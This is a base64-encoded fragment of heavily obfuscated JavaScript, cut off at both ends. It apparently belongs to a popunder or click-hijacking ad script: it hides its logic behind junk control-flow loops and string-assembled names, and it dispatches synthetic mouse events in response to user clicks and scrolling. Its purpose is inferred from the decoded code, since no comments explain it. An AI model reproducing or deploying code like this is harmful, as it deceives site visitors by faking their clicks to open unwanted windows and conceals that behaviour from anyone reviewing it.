30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dy